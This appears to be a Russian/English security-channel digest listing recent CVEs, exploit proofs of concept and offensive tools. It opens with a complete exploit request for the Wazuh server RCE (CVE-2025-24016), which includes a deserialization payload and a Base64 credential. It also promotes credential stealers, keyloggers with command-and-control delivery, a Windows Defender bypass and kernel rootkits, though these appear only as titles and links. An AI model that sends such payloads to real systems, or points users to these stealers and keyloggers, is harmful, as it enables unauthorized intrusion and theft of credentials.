CVE-2025-24016
*
RCE in Wazuh server
wazuh-manager version >= 4.4.0
Patched in version >= 4.9.1

POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==  # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83

{
  "__unhandled_exc__": {
    "__class__": "exit",
    "__args__": []
  }
}

Reverse Engineering Malware Rolling XOR (arm64)
*
Video

CVE-2025–27364
*
MITRE Caldera Security Advisory — Remote Code Execution
*
POC

Традиционно выражаю спасибо yashechka
Спасибо !

Ну и в догонку релиз от красноволосой Лизы
*
key_grab

iDRAC to Domain Admin
*
Забавная статья

Burp > поиск
scope > домен\поддомен
*
Link to regular

CVE-2025-21333
*
Windows Hyper-V Zero-Day
*
POC

BurpSuite Extension
*
Xkeys

RunAs-Stealer
*
3 techniques : Hooking CreateProcessWithLogonW, Smart Keylogging, Remote Debugging
*
download

CVE-2025–27636
*
Apache Camel
affects versions: 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3
POC

Что там нового в Burp Suite Professional 2025.2

Байпасс win defender с помощью Loki c2 выглядит так

CVE-2025-24813 Apache Tomcat RCE
*

Exploiting Reversing Series (ERS)
*
PDFфко

CVE-2025-1767 Kubernetes
*
Vulnerability and Exploitation

(Фродо): "Ничего. Ничего нет. Постой. Здесь надпись. Похоже на эльфийском. Я не могу прочесть".

(Гэндальф): "Мало кто может. Это язык Мордора. Ему не надо звучать здесь".

(Фродо): "Мордор..."
😆
Regexp of mordor ))

The Art of Linux Kernel Rootkits
*
READ

tamanoir
*
eBPF🐝 Keylogger with C2-based RCE payload delivery
*
Linx